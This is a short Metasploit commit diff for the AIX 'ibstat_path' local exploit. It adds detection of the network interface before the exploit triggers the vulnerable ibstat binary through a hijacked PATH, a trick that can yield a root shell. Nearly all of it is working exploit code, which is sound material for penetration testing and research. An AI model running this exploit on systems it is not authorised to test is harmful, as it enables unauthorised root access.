Land rapid7#3384, AIX ibstat exploit interface detection

Author: wvu

modules/exploits/aix/local/ibstat_path.rb

@@ -110,8 +110,22 @@ def exploit
     cmd_exec("PATH=#{datastore["WritableDir"]}:$PATH")
     cmd_exec("export PATH")
 
+    print_status("Finding interface name...")
+    iface = ""
+    cmd_exec("lsdev -Cc if").each_line do |line|
+      if line.match(/^[a-z]+[0-9]+\s+Available/) and not line.match(/^lo[0-9]/)
+        iface = line.split(/\s+/)[0]
+        print_status("Found interface #{iface}.")
+        break
+      end
+    end
+    if iface == ""
+      iface = "en0"
+      print_status("Found no interface, defaulting to en0.")
+    end
+
     print_status("Triggering vulnerablity...")
-    cmd_exec("/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null")
+    cmd_exec("/usr/bin/ibstat -a -i #{iface} 2>/dev/null >/dev/null")
 
     # The $PATH variable must be restored before the payload is executed
     # in cases where an euid root shell was gained